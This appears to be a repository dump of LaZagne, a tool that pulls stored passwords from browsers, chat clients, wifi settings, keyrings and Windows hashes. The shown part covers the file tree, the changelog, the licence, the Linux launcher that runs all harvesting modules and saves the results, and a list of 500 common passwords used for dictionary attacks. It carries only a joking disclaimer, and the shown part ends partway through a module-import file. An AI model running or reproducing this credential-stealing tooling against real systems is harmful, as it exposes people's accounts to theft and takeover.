├── CHANGELOG
├── LICENSE
├── Linux
├── src
│ ├── LaZagne.py
│ ├── config
│ │ ├── __init__.py
│ │ ├── color.py
│ │ ├── constant.py
│ │ ├── dico.py
│ │ ├── header.py
│ │ ├── manageModules.py
│ │ ├── moduleInfo.py
│ │ └── write_output.py
│ └── softwares
│ │ ├── __init__.py
│ │ ├── browsers
│ │ ├── __init__.py
│ │ ├── mozilla.py
│ │ └── opera.py
│ │ ├── chats
│ │ ├── __init__.py
│ │ ├── jitsi.py
│ │ ├── pbkdf2.py
│ │ └── pidgin.py
│ │ ├── databases
│ │ ├── __init__.py
│ │ ├── dbvis.py
│ │ ├── sqldeveloper.py
│ │ └── squirrel.py
│ │ ├── sysadmin
│ │ ├── __init__.py
│ │ ├── env_variable.py
│ │ └── filezilla.py
│ │ ├── wallet
│ │ ├── __init__.py
│ │ ├── gnome.py
│ │ └── kde.py
│ │ └── wifi
│ │ ├── __init__.py
│ │ ├── wifi.py
│ │ └── wpa_supplicant.py
└── standalone
│ ├── 32bits
│ └── LaZagne-32bits
│ └── 64bits
│ └── LaZagne-64bits
├── README.md
├── Windows
├── src
│ ├── LaZagne
│ │ ├── config
│ │ │ ├── __init__.py
│ │ │ ├── constant.py
│ │ │ ├── dico.py
│ │ │ ├── get_system_priv.py
│ │ │ ├── header.py
│ │ │ ├── manageModules.py
│ │ │ ├── moduleInfo.py
│ │ │ └── write_output.py
│ │ ├── laZagne.py
│ │ └── softwares
│ │ │ ├── __init__.py
│ │ │ ├── browsers
│ │ │ ├── __init__.py
│ │ │ ├── chrome.py
│ │ │ ├── ie.py
│ │ │ ├── mozilla.py
│ │ │ └── opera.py
│ │ │ ├── chats
│ │ │ ├── __init__.py
│ │ │ ├── jitsi.py
│ │ │ ├── pbkdf2.py
│ │ │ ├── pidgin.py
│ │ │ └── skype.py
│ │ │ ├── databases
│ │ │ ├── __init__.py
│ │ │ ├── dbvis.py
│ │ │ ├── sqldeveloper.py
│ │ │ └── squirrel.py
│ │ │ ├── mails
│ │ │ ├── __init__.py
│ │ │ └── outlook.py
│ │ │ ├── svn
│ │ │ ├── __init__.py
│ │ │ └── tortoise.py
│ │ │ ├── sysadmin
│ │ │ ├── __init__.py
│ │ │ ├── coreftp.py
│ │ │ ├── cyberduck.py
│ │ │ ├── filezilla.py
│ │ │ ├── ftpnavigator.py
│ │ │ ├── puttycm.py
│ │ │ └── winscp.py
│ │ │ ├── wifi
│ │ │ ├── __init__.py
│ │ │ ├── wifi.py
│ │ │ └── wifipass.py
│ │ │ └── windows
│ │ │ ├── __init__.py
│ │ │ ├── dot_net.py
│ │ │ ├── network.py
│ │ │ ├── secrets.py
│ │ │ └── secretsdump.py
│ └── browser_history_dll
│ │ ├── historic.dll
│ │ └── historic
│ │ ├── Release
│ │ ├── historic.dll
│ │ ├── historic.exp
│ │ ├── historic.lib
│ │ └── historic.pdb
│ │ ├── historic.sdf
│ │ ├── historic.sln
│ │ ├── historic.suo
│ │ ├── historic
│ │ ├── Release
│ │ │ ├── CL.read.1.tlog
│ │ │ ├── CL.write.1.tlog
│ │ │ ├── cl.command.1.tlog
│ │ │ ├── dllmain.obj
│ │ │ ├── historic.Build.CppClean.log
│ │ │ ├── historic.dll.intermediate.manifest
│ │ │ ├── historic.lastbuildstate
│ │ │ ├── historic.log
│ │ │ ├── historic.obj
│ │ │ ├── historic.pch
│ │ │ ├── historic.write.1.tlog
│ │ │ ├── history.obj
│ │ │ ├── link.command.1.tlog
│ │ │ ├── link.read.1.tlog
│ │ │ ├── link.write.1.tlog
│ │ │ ├── mt.command.1.tlog
│ │ │ ├── mt.read.1.tlog
│ │ │ ├── mt.write.1.tlog
│ │ │ ├── stdafx.obj
│ │ │ └── vc100.pdb
│ │ ├── dllmain.cpp
│ │ ├── historic.vcxproj
│ │ ├── historic.vcxproj.filters
│ │ ├── historic.vcxproj.user
│ │ ├── history.cpp
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ └── targetver.h
│ │ └── ipch
│ │ └── historic-a0234e08
│ │ └── history-838e9c18.ipch
└── standalone
│ └── laZagne.exe
└── pictures
├── lazagne.png
└── softwares.png
/CHANGELOG:
--------------------------------------------------------------------------------
1 | LaZagne 0.71 (04/06/2015)
2 | - Only Linux
3 | * Wifi password module from WPA Supplicant implemented (by rpesche)
4 |
5 | LaZagne 0.7 (29/05/2015)
6 | - For Windows / Linux
7 | * Fix mozilla bug (special characters were not printed)
8 |
9 | LaZagne 0.6 (26/05/2015)
10 | - For Windows / Linux
11 | * Firefox / Thunderbird: No more dependency with nss library (many thanks to Laurent Clevy for its awesome technic: https://github.com/lclevy/firepwd)
12 | * Fix opera bug
13 |
14 | - Only Windows
15 | * WinSCP false positive removed (when SSH key is used)
16 |
17 | LaZagne 0.5 (21/05/2015)
18 | - For Windows
19 | * Fix chrome bug
20 |
21 | LaZagne 0.5 (20/05/2015)
22 | - For Windows / Linux
23 | * 2 levels of verbosity added for debugs
24 | * try / except more verbose depending on the verbosity levels
25 | * dico file moved from browsers to config repository (used for dictionary attack)
26 | * new Filezilla versions managed
27 |
28 | - Only Windows
29 | * check weak passwords (logins equal to password) for windows account when hashes (nthash) have been found
30 | * function to write the output modified on windows module
31 | * WConio replaced by colorama for the window color
32 | * Skype: try a dictionary attack (500 famous password) when the hash has been retrieved
33 |
34 | LaZagne 0.4 (12/05/2015)
35 | - For Linux
36 | * Kwallet module implemented (by quentin hardy)
37 |
38 | LaZagne 0.4 (05/05/2015)
39 | - For Windows
40 | * Fix ie bugs
41 | * Fix thunderbird bug
42 |
43 | LaZagne 0.3 (30/04/2015)
44 | - For Windows
45 | * Flexibility on the code: much more easy to add modules
46 | * Passwords found previously are used to test firefox masterpassword if set
47 |
48 | - For Linux
49 | * Flexibility on the code: much more easy to add modules
50 | * Passwords found previously are used to test firefox masterpassword if set
51 | * 2 different standalones (32 bits / 64 bits)
52 |
53 | LaZagne 0.2 (27/04/2015)
54 | - For Windows
55 | * New modules: Windows hashes + LSA Secrets
56 | * Passwords found previously are used to test windows hashes and firefox masterpassword
57 | * 500 most famous passwords are used to retrieve the windows password (once we get the hashes)
58 | * Wifi bug fixed: only one password was printed
59 | * I.E bug fixed
60 |
61 |
62 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU LESSER GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 |
9 | This version of the GNU Lesser General Public License incorporates
10 | the terms and conditions of version 3 of the GNU General Public
11 | License, supplemented by the additional permissions listed below.
12 |
13 | 0. Additional Definitions.
14 |
15 | As used herein, "this License" refers to version 3 of the GNU Lesser
16 | General Public License, and the "GNU GPL" refers to version 3 of the GNU
17 | General Public License.
18 |
19 | "The Library" refers to a covered work governed by this License,
20 | other than an Application or a Combined Work as defined below.
21 |
22 | An "Application" is any work that makes use of an interface provided
23 | by the Library, but which is not otherwise based on the Library.
24 | Defining a subclass of a class defined by the Library is deemed a mode
25 | of using an interface provided by the Library.
26 |
27 | A "Combined Work" is a work produced by combining or linking an
28 | Application with the Library. The particular version of the Library
29 | with which the Combined Work was made is also called the "Linked
30 | Version".
31 |
32 | The "Minimal Corresponding Source" for a Combined Work means the
33 | Corresponding Source for the Combined Work, excluding any source code
34 | for portions of the Combined Work that, considered in isolation, are
35 | based on the Application, and not on the Linked Version.
36 |
37 | The "Corresponding Application Code" for a Combined Work means the
38 | object code and/or source code for the Application, including any data
39 | and utility programs needed for reproducing the Combined Work from the
40 | Application, but excluding the System Libraries of the Combined Work.
41 |
42 | 1. Exception to Section 3 of the GNU GPL.
43 |
44 | You may convey a covered work under sections 3 and 4 of this License
45 | without being bound by section 3 of the GNU GPL.
46 |
47 | 2. Conveying Modified Versions.
48 |
49 | If you modify a copy of the Library, and, in your modifications, a
50 | facility refers to a function or data to be supplied by an Application
51 | that uses the facility (other than as an argument passed when the
52 | facility is invoked), then you may convey a copy of the modified
53 | version:
54 |
55 | a) under this License, provided that you make a good faith effort to
56 | ensure that, in the event an Application does not supply the
57 | function or data, the facility still operates, and performs
58 | whatever part of its purpose remains meaningful, or
59 |
60 | b) under the GNU GPL, with none of the additional permissions of
61 | this License applicable to that copy.
62 |
63 | 3. Object Code Incorporating Material from Library Header Files.
64 |
65 | The object code form of an Application may incorporate material from
66 | a header file that is part of the Library. You may convey such object
67 | code under terms of your choice, provided that, if the incorporated
68 | material is not limited to numerical parameters, data structure
69 | layouts and accessors, or small macros, inline functions and templates
70 | (ten or fewer lines in length), you do both of the following:
71 |
72 | a) Give prominent notice with each copy of the object code that the
73 | Library is used in it and that the Library and its use are
74 | covered by this License.
75 |
76 | b) Accompany the object code with a copy of the GNU GPL and this license
77 | document.
78 |
79 | 4. Combined Works.
80 |
81 | You may convey a Combined Work under terms of your choice that,
82 | taken together, effectively do not restrict modification of the
83 | portions of the Library contained in the Combined Work and reverse
84 | engineering for debugging such modifications, if you also do each of
85 | the following:
86 |
87 | a) Give prominent notice with each copy of the Combined Work that
88 | the Library is used in it and that the Library and its use are
89 | covered by this License.
90 |
91 | b) Accompany the Combined Work with a copy of the GNU GPL and this license
92 | document.
93 |
94 | c) For a Combined Work that displays copyright notices during
95 | execution, include the copyright notice for the Library among
96 | these notices, as well as a reference directing the user to the
97 | copies of the GNU GPL and this license document.
98 |
99 | d) Do one of the following:
100 |
101 | 0) Convey the Minimal Corresponding Source under the terms of this
102 | License, and the Corresponding Application Code in a form
103 | suitable for, and under terms that permit, the user to
104 | recombine or relink the Application with a modified version of
105 | the Linked Version to produce a modified Combined Work, in the
106 | manner specified by section 6 of the GNU GPL for conveying
107 | Corresponding Source.
108 |
109 | 1) Use a suitable shared library mechanism for linking with the
110 | Library. A suitable mechanism is one that (a) uses at run time
111 | a copy of the Library already present on the user's computer
112 | system, and (b) will operate properly with a modified version
113 | of the Library that is interface-compatible with the Linked
114 | Version.
115 |
116 | e) Provide Installation Information, but only if you would otherwise
117 | be required to provide such information under section 6 of the
118 | GNU GPL, and only to the extent that such information is
119 | necessary to install and execute a modified version of the
120 | Combined Work produced by recombining or relinking the
121 | Application with a modified version of the Linked Version. (If
122 | you use option 4d0, the Installation Information must accompany
123 | the Minimal Corresponding Source and Corresponding Application
124 | Code. If you use option 4d1, you must provide the Installation
125 | Information in the manner specified by section 6 of the GNU GPL
126 | for conveying Corresponding Source.)
127 |
128 | 5. Combined Libraries.
129 |
130 | You may place library facilities that are a work based on the
131 | Library side by side in a single library together with other library
132 | facilities that are not Applications and are not covered by this
133 | License, and convey such a combined library under terms of your
134 | choice, if you do both of the following:
135 |
136 | a) Accompany the combined library with a copy of the same work based
137 | on the Library, uncombined with any other library facilities,
138 | conveyed under the terms of this License.
139 |
140 | b) Give prominent notice with the combined library that part of it
141 | is a work based on the Library, and explaining where to find the
142 | accompanying uncombined form of the same work.
143 |
144 | 6. Revised Versions of the GNU Lesser General Public License.
145 |
146 | The Free Software Foundation may publish revised and/or new versions
147 | of the GNU Lesser General Public License from time to time. Such new
148 | versions will be similar in spirit to the present version, but may
149 | differ in detail to address new problems or concerns.
150 |
151 | Each version is given a distinguishing version number. If the
152 | Library as you received it specifies that a certain numbered version
153 | of the GNU Lesser General Public License "or any later version"
154 | applies to it, you have the option of following the terms and
155 | conditions either of that published version or of any later version
156 | published by the Free Software Foundation. If the Library as you
157 | received it does not specify a version number of the GNU Lesser
158 | General Public License, you may choose any version of the GNU Lesser
159 | General Public License ever published by the Free Software Foundation.
160 |
161 | If the Library as you received it specifies that a proxy can decide
162 | whether future versions of the GNU Lesser General Public License shall
163 | apply, that proxy's public statement of acceptance of any version is
164 | permanent authorization for you to choose that version for the
165 | Library.
166 |
--------------------------------------------------------------------------------
/Linux/src/LaZagne.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/python
2 |
3 | ##############################################################################
4 | # #
5 | # By Alessandro ZANNI #
6 | # #
7 | ##############################################################################
8 |
9 | # Disclaimer: Do Not Use this program for illegal purposes ;)
10 |
11 | import argparse
12 | import time, sys, os
13 | import logging
14 | from softwares.browsers.mozilla import Mozilla
15 |
16 | # Configuration
17 | from config.header import Header
18 | from config.write_output import write_header, write_footer, print_footer
19 | from config.constant import *
20 | from config.manageModules import get_categories, get_modules
21 |
22 | # Print the title
23 | Header().first_title()
24 |
25 | category = get_categories()
26 | moduleNames = get_modules()
27 |
28 | # Define a dictionary for all modules
29 | modules = {}
30 | for categoryName in category:
31 | modules[categoryName] = {}
32 |
33 | # Add all modules to the dictionary
34 | for module in moduleNames:
35 | modules[module.category][module.options['dest']] = module
36 | modules['mails']['thunderbird'] = Mozilla(True) # For thunderbird (firefox and thunderbird use the same class)
37 |
38 | def output():
39 | if args['write'] == True:
40 | constant.output = 'txt'
41 | if not os.path.exists(constant.folder_name):
42 | os.makedirs(constant.folder_name)
43 | write_header()
44 | del args['write']
45 |
46 | def verbosity():
47 | # Write on the console + debug file
48 | if args['verbose']==0: level=logging.CRITICAL
49 | elif args['verbose'] == 1: level=logging.INFO
50 | elif args['verbose']>=2: level=logging.DEBUG
51 |
52 | FORMAT = "%(message)s"
53 | formatter = logging.Formatter(fmt=FORMAT)
54 | stream = logging.StreamHandler()
55 | stream.setFormatter(formatter)
56 | root = logging.getLogger()
57 | root.setLevel(level)
58 | # If other logging are set
59 | for r in root.handlers:
60 | r.setLevel(logging.CRITICAL)
61 | root.addHandler(stream)
62 | del args['verbose']
63 |
64 | def launch_module(b):
65 | ok = False
66 | # Launch only a specific module
67 | for i in args:
68 | if args[i] and i in b:
69 | b[i].run()
70 | ok = True
71 |
72 | # Launch all modules
73 | if not ok:
74 | for i in b:
75 | b[i].run()
76 |
77 | def manage_advanced_options():
78 | if 'manually' in args:
79 | constant.manually = args['manually']
80 | if 'path' in args:
81 | constant.path = args['path']
82 | if 'bruteforce' in args:
83 | constant.bruteforce = args['bruteforce']
84 | if 'defaultpass' in args:
85 | constant.defaultpass = args['defaultpass']
86 | if 'specific_path' in args:
87 | constant.specific_path = args['specific_path']
88 | if 'mails' in args['auditType']:
89 | constant.mozilla_software = 'Thunderbird'
90 | elif 'browsers' in args['auditType']:
91 | constant.mozilla_software = 'Firefox'
92 | if 'master_pwd' in args:
93 | constant.jitsi_masterpass = args['master_pwd']
94 | if 'historic' in args:
95 | constant.ie_historic = args['historic']
96 |
97 | # Run only one module
98 | def runModule():
99 | manage_advanced_options()
100 | launch_module(modules[args['auditType']])
101 |
102 | # Run all
103 | def runAllModules():
104 | manage_advanced_options()
105 | for categoryName in category:
106 | if categoryName == 'browsers':
107 | constant.mozilla_software = 'Firefox'
108 | elif categoryName == 'mails':
109 | constant.mozilla_software = 'Thunderbird'
110 | launch_module(modules[categoryName])
111 |
112 | # Prompt help if an error occurs
113 | class MyParser(argparse.ArgumentParser):
114 | def error(self, message):
115 | sys.stderr.write('error: %s\n\n' % message)
116 | self.print_help()
117 | sys.exit(2)
118 |
119 | parser = MyParser()
120 |
121 | # ------------------------------------------- Permanent options -------------------------------------------
122 | # Version and verbosity
123 | PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
124 | PPoptional._optionals.title = 'optional arguments'
125 | PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level')
126 | PPoptional.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version')
127 |
128 | # Output
129 | PWrite = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
130 | PWrite._optionals.title = 'output'
131 | PWrite.add_argument('-w', dest='write', action= 'store_true', help = 'write a text file on the current directory')
132 |
133 | # ------------------------------------------- Add options and suboptions to all modules -------------------------------------------
134 | all_subparser = []
135 | for c in category:
136 | category[c]['parser'] = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
137 | category[c]['parser']._optionals.title = category[c]['help']
138 |
139 | # Manage options
140 | category[c]['subparser'] = []
141 | for module in modules[c]:
142 | m = modules[c][module]
143 | category[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help'])
144 |
145 | # Manage all suboptions by modules
146 | if m.suboptions and m.name != 'thunderbird':
147 | tmp = []
148 | for sub in m.suboptions:
149 | tmp_subparser = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
150 | tmp_subparser._optionals.title = sub['title']
151 | if 'type' in sub:
152 | tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help'])
153 | else:
154 | tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help'])
155 | tmp.append(tmp_subparser)
156 | all_subparser.append(tmp_subparser)
157 | category[c]['subparser'] += tmp
158 |
159 | # ------------------------------------------- Print all -------------------------------------------
160 | parents = [PPoptional] + all_subparser + [PWrite]
161 | dic = {'all':{'parents':parents, 'help':'Run all modules', 'func': runAllModules}}
162 | for c in category:
163 | parser_tab = [PPoptional, category[c]['parser']]
164 | if 'subparser' in category[c]:
165 | if category[c]['subparser']:
166 | parser_tab += category[c]['subparser']
167 | parser_tab += [PWrite]
168 | dic_tmp = {c: {'parents': parser_tab, 'help':'Run %s module' % c, 'func': runModule}}
169 | dic = dict(dic.items() + dic_tmp.items())
170 |
171 | # 2- main commands
172 | subparsers = parser.add_subparsers(help='Choose a main command')
173 | for d in dic:
174 | subparsers.add_parser(d,parents=dic[d]['parents'],help=dic[d]['help']).set_defaults(func=dic[d]['func'],auditType=d)
175 |
176 | # ------------------------------------------- Parse arguments -------------------------------------------
177 | args = dict(parser.parse_args()._get_kwargs())
178 | arguments = parser.parse_args()
179 | start_time = time.time()
180 | output()
181 | verbosity()
182 | arguments.func()
183 |
184 | # Print the number of passwords found
185 | if constant.output == 'txt':
186 | write_footer()
187 | print_footer()
188 |
189 | elapsed_time = time.time() - start_time
190 | print 'elapsed time = ' + str(elapsed_time)
191 |
--------------------------------------------------------------------------------
/Linux/src/config/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/src/config/__init__.py
--------------------------------------------------------------------------------
/Linux/src/config/color.py:
--------------------------------------------------------------------------------
1 |
2 | class bcolors():
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[94m'
5 | OK = '\033[92m'
6 | WARNING = '\033[96m'
7 | FAIL = '\033[91m'
8 | TITLE = '\033[93m'
9 | ENDC = '\033[0m'
10 |
11 |
--------------------------------------------------------------------------------
/Linux/src/config/constant.py:
--------------------------------------------------------------------------------
1 |
2 | class constant():
3 | folder_name = 'results'
4 | MAX_HELP_POSITION = 27
5 | CURRENT_VERSION = 0.71
6 | output = None
7 | file_logger = None
8 | verbose = False
9 |
10 | # jitsi options
11 | jitsi_masterpass = None
12 |
13 | # mozilla options
14 | manually = None
15 | path = None
16 | bruteforce = None
17 | defaultpass = None
18 | specific_path = None
19 | mozilla_software = ''
20 |
21 | # total password found
22 | nbPasswordFound = 0
23 | passwordFound = []
24 |
--------------------------------------------------------------------------------
/Linux/src/config/dico.py:
--------------------------------------------------------------------------------
1 |
2 | def get_dico():
3 | return [
4 | "password",
5 | "123456",
6 | "12345678",
7 | "1234",
8 | "qwerty",
9 | "12345",
10 | "dragon",
11 | "pussy",
12 | "baseball",
13 | "football",
14 | "letmein",
15 | "monkey",
16 | "696969",
17 | "abc123",
18 | "mustang",
19 | "michael",
20 | "shadow",
21 | "master",
22 | "jennifer",
23 | "111111",
24 | "2000",
25 | "jordan",
26 | "superman",
27 | "harley",
28 | "1234567",
29 | "fuckme",
30 | "hunter",
31 | "fuckyou",
32 | "trustno1",
33 | "ranger",
34 | "buster",
35 | "thomas",
36 | "tigger",
37 | "robert",
38 | "soccer",
39 | "fuck",
40 | "batman",
41 | "test",
42 | "pass",
43 | "killer",
44 | "hockey",
45 | "george",
46 | "charlie",
47 | "andrew",
48 | "michelle",
49 | "love",
50 | "sunshine",
51 | "jessica",
52 | "asshole",
53 | "6969",
54 | "pepper",
55 | "daniel",
56 | "access",
57 | "123456789",
58 | "654321",
59 | "joshua",
60 | "maggie",
61 | "starwars",
62 | "silver",
63 | "william",
64 | "dallas",
65 | "yankees",
66 | "123123",
67 | "ashley",
68 | "666666",
69 | "hello",
70 | "amanda",
71 | "orange",
72 | "biteme",
73 | "freedom",
74 | "computer",
75 | "sexy",
76 | "thunder",
77 | "nicole",
78 | "ginger",
79 | "heather",
80 | "hammer",
81 | "summer",
82 | "corvette",
83 | "taylor",
84 | "fucker",
85 | "austin",
86 | "1111",
87 | "merlin",
88 | "matthew",
89 | "121212",
90 | "golfer",
91 | "cheese",
92 | "princess",
93 | "martin",
94 | "chelsea",
95 | "patrick",
96 | "richard",
97 | "diamond",
98 | "yellow",
99 | "bigdog",
100 | "secret",
101 | "asdfgh",
102 | "sparky",
103 | "cowboy",
104 | "camaro",
105 | "anthony",
106 | "matrix",
107 | "falcon",
108 | "iloveyou",
109 | "bailey",
110 | "guitar",
111 | "jackson",
112 | "purple",
113 | "scooter",
114 | "phoenix",
115 | "aaaaaa",
116 | "morgan",
117 | "tigers",
118 | "porsche",
119 | "mickey",
120 | "maverick",
121 | "cookie",
122 | "nascar",
123 | "peanut",
124 | "justin",
125 | "131313",
126 | "money",
127 | "horny",
128 | "samantha",
129 | "panties",
130 | "steelers",
131 | "joseph",
132 | "snoopy",
133 | "boomer",
134 | "whatever",
135 | "iceman",
136 | "smokey",
137 | "gateway",
138 | "dakota",
139 | "cowboys",
140 | "eagles",
141 | "chicken",
142 | "dick",
143 | "black",
144 | "zxcvbn",
145 | "please",
146 | "andrea",
147 | "ferrari",
148 | "knight",
149 | "hardcore",
150 | "melissa",
151 | "compaq",
152 | "coffee",
153 | "booboo",
154 | "bitch",
155 | "johnny",
156 | "bulldog",
157 | "xxxxxx",
158 | "welcome",
159 | "james",
160 | "player",
161 | "ncc1701",
162 | "wizard",
163 | "scooby",
164 | "charles",
165 | "junior",
166 | "internet",
167 | "bigdick",
168 | "mike",
169 | "brandy",
170 | "tennis",
171 | "blowjob",
172 | "banana",
173 | "monster",
174 | "spider",
175 | "lakers",
176 | "miller",
177 | "rabbit",
178 | "enter",
179 | "mercedes",
180 | "brandon",
181 | "steven",
182 | "fender",
183 | "john",
184 | "yamaha",
185 | "diablo",
186 | "chris",
187 | "boston",
188 | "tiger",
189 | "marine",
190 | "chicago",
191 | "rangers",
192 | "gandalf",
193 | "winter",
194 | "bigtits",
195 | "barney",
196 | "edward",
197 | "raiders",
198 | "porn",
199 | "badboy",
200 | "blowme",
201 | "spanky",
202 | "bigdaddy",
203 | "johnson",
204 | "chester",
205 | "london",
206 | "midnight",
207 | "blue",
208 | "fishing",
209 | "000000",
210 | "hannah",
211 | "slayer",
212 | "11111111",
213 | "rachel",
214 | "sexsex",
215 | "redsox",
216 | "thx1138",
217 | "asdf",
218 | "marlboro",
219 | "panther",
220 | "zxcvbnm",
221 | "arsenal",
222 | "oliver",
223 | "qazwsx",
224 | "mother",
225 | "victoria",
226 | "7777777",
227 | "jasper",
228 | "angel",
229 | "david",
230 | "winner",
231 | "crystal",
232 | "golden",
233 | "butthead",
234 | "viking",
235 | "jack",
236 | "iwantu",
237 | "shannon",
238 | "murphy",
239 | "angels",
240 | "prince",
241 | "cameron",
242 | "girls",
243 | "madison",
244 | "wilson",
245 | "carlos",
246 | "hooters",
247 | "willie",
248 | "startrek",
249 | "captain",
250 | "maddog",
251 | "jasmine",
252 | "butter",
253 | "booger",
254 | "angela",
255 | "golf",
256 | "lauren",
257 | "rocket",
258 | "tiffany",
259 | "theman",
260 | "dennis",
261 | "liverpoo",
262 | "flower",
263 | "forever",
264 | "green",
265 | "jackie",
266 | "muffin",
267 | "turtle",
268 | "sophie",
269 | "danielle",
270 | "redskins",
271 | "toyota",
272 | "jason",
273 | "sierra",
274 | "winston",
275 | "debbie",
276 | "giants",
277 | "packers",
278 | "newyork",
279 | "jeremy",
280 | "casper",
281 | "bubba",
282 | "112233",
283 | "sandra",
284 | "lovers",
285 | "mountain",
286 | "united",
287 | "cooper",
288 | "driver",
289 | "tucker",
290 | "helpme",
291 | "fucking",
292 | "pookie",
293 | "lucky",
294 | "maxwell",
295 | "8675309",
296 | "bear",
297 | "suckit",
298 | "gators",
299 | "5150",
300 | "222222",
301 | "shithead",
302 | "fuckoff",
303 | "jaguar",
304 | "monica",
305 | "fred",
306 | "happy",
307 | "hotdog",
308 | "tits",
309 | "gemini",
310 | "lover",
311 | "xxxxxxxx",
312 | "777777",
313 | "canada",
314 | "nathan",
315 | "victor",
316 | "florida",
317 | "88888888",
318 | "nicholas",
319 | "rosebud",
320 | "metallic",
321 | "doctor",
322 | "trouble",
323 | "success",
324 | "stupid",
325 | "tomcat",
326 | "warrior",
327 | "peaches",
328 | "apples",
329 | "fish",
330 | "qwertyui",
331 | "magic",
332 | "buddy",
333 | "dolphins",
334 | "rainbow",
335 | "gunner",
336 | "987654",
337 | "freddy",
338 | "alexis",
339 | "braves",
340 | "cock",
341 | "2112",
342 | "1212",
343 | "cocacola",
344 | "xavier",
345 | "dolphin",
346 | "testing",
347 | "bond007",
348 | "member",
349 | "calvin",
350 | "voodoo",
351 | "7777",
352 | "samson",
353 | "alex",
354 | "apollo",
355 | "fire",
356 | "tester",
357 | "walter",
358 | "beavis",
359 | "voyager",
360 | "peter",
361 | "porno",
362 | "bonnie",
363 | "rush2112",
364 | "beer",
365 | "apple",
366 | "scorpio",
367 | "jonathan",
368 | "skippy",
369 | "sydney",
370 | "scott",
371 | "red123",
372 | "power",
373 | "gordon",
374 | "travis",
375 | "beaver",
376 | "star",
377 | "jackass",
378 | "flyers",
379 | "boobs",
380 | "232323",
381 | "zzzzzz",
382 | "steve",
383 | "rebecca",
384 | "scorpion",
385 | "doggie",
386 | "legend",
387 | "ou812",
388 | "yankee",
389 | "blazer",
390 | "bill",
391 | "runner",
392 | "birdie",
393 | "bitches",
394 | "555555",
395 | "parker",
396 | "topgun",
397 | "asdfasdf",
398 | "heaven",
399 | "viper",
400 | "animal",
401 | "2222",
402 | "bigboy",
403 | "4444",
404 | "arthur",
405 | "baby",
406 | "private",
407 | "godzilla",
408 | "donald",
409 | "williams",
410 | "lifehack",
411 | "phantom",
412 | "dave",
413 | "rock",
414 | "august",
415 | "sammy",
416 | "cool",
417 | "brian",
418 | "platinum",
419 | "jake",
420 | "bronco",
421 | "paul",
422 | "mark",
423 | "frank",
424 | "heka6w2",
425 | "copper",
426 | "billy",
427 | "cumshot",
428 | "garfield",
429 | "willow",
430 | "cunt",
431 | "little",
432 | "carter",
433 | "slut",
434 | "albert",
435 | "69696969",
436 | "kitten",
437 | "super",
438 | "jordan23",
439 | "eagle1",
440 | "shelby",
441 | "america",
442 | "11111",
443 | "jessie",
444 | "house",
445 | "free",
446 | "123321",
447 | "chevy",
448 | "bullshit",
449 | "white",
450 | "broncos",
451 | "horney",
452 | "surfer",
453 | "nissan",
454 | "999999",
455 | "saturn",
456 | "airborne",
457 | "elephant",
458 | "marvin",
459 | "shit",
460 | "action",
461 | "adidas",
462 | "qwert",
463 | "kevin",
464 | "1313",
465 | "explorer",
466 | "walker",
467 | "police",
468 | "christin",
469 | "december",
470 | "benjamin",
471 | "wolf",
472 | "sweet",
473 | "therock",
474 | "king",
475 | "online",
476 | "dickhead",
477 | "brooklyn",
478 | "teresa",
479 | "cricket",
480 | "sharon",
481 | "dexter",
482 | "racing",
483 | "penis",
484 | "gregory",
485 | "0000",
486 | "teens",
487 | "redwings",
488 | "dreams",
489 | "michigan",
490 | "hentai",
491 | "magnum",
492 | "87654321",
493 | "nothing",
494 | "donkey",
495 | "trinity",
496 | "digital",
497 | "333333",
498 | "stella",
499 | "cartman",
500 | "guinness",
501 | "123abc",
502 | "speedy",
503 | "buffalo",
504 | "kitty"]
505 |
506 |
--------------------------------------------------------------------------------
/Linux/src/config/header.py:
--------------------------------------------------------------------------------
1 | from color import bcolors
2 | import logging
3 |
4 | class Header():
5 | def first_title(self):
6 | print bcolors().TITLE
7 | print '|====================================================================|'
8 | print '| |'
9 | print '| The LaZagne Project |'
10 | print '| |'
11 | print '| ! BANG BANG ! |'
12 | print '| |'
13 | print '|====================================================================|'
14 | print bcolors().ENDC
15 |
16 |
17 | # print the title if no logging level has been set
18 | def title(self, title):
19 | b = bcolors()
20 | print b.TITLE + "------------------- " + title + " passwords -----------------\n" + b.ENDC
21 |
22 | # print the title if logging level is higher or equal to info
23 | def title_info(self, title):
24 | b = bcolors()
25 | logging.info(b.TITLE + "------------------- " + title + " passwords -----------------\n" + b.ENDC )
--------------------------------------------------------------------------------
/Linux/src/config/manageModules.py:
--------------------------------------------------------------------------------
1 | # keyring
2 | from softwares.wallet.gnome import Gnome
3 | from softwares.wallet.kde import kde
4 | # browsers
5 | from softwares.browsers.mozilla import Mozilla
6 | from softwares.browsers.opera import Opera
7 | # sysadmin
8 | from softwares.sysadmin.filezilla import Filezilla
9 | from softwares.sysadmin.env_variable import Env_variable
10 | # chats
11 | from softwares.chats.pidgin import Pidgin
12 | from softwares.chats.jitsi import Jitsi
13 | # wifi
14 | from softwares.wifi.wifi import Wifi
15 | from softwares.wifi.wpa_supplicant import Wpa_supplicant
16 | # databases
17 | from softwares.databases.squirrel import Squirrel
18 | from softwares.databases.dbvis import DbVisualizer
